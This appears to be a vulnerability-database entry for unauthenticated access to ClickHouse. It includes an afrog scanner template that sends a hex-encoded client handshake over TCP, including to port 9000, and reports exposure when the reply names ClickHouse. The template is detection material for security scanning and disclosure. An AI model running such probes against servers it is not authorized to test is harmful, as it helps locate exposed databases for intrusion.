clickhouse-unauth: ClickHouse - Unauthorized Access

日期: 2025-09-01 | 影响软件: clickhouse | POC: 已公开

漏洞描述

ClickHouse was able to be accessed with no required authentication in place.

PoC代码[已公开]

id: clickhouse-unauth

info:
  name: ClickHouse - Unauthorized Access
  author: lu4nx
  severity: high
  verified: true
  description: ClickHouse was able to be accessed with no required authentication in place.
  tags: network,clickhouse,unauth
  created: 2022/07/20

set:
  hostname: request.url.host
  host: request.url.domain
rules:
  r0:
    request:
      type: tcp
      host: "{{hostname}}"
      data: "0011436c69636b486f75736520636c69656e741508b1a903000764656661756c7400"
      data-type: hex
    expression: response.raw.bcontains(b'ClickHouse') && response.raw.bcontains(b'UTC')
  r1:
    request:
      type: tcp
      host: "{{host}}:9000"
      data: "0011436c69636b486f75736520636c69656e741508b1a903000764656661756c7400"
      data-type: hex
    expression: response.raw.bcontains(b'ClickHouse') && response.raw.bcontains(b'UTC')
expression: r0() || r1()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/unauthorized/clickhouse-unauth.yaml

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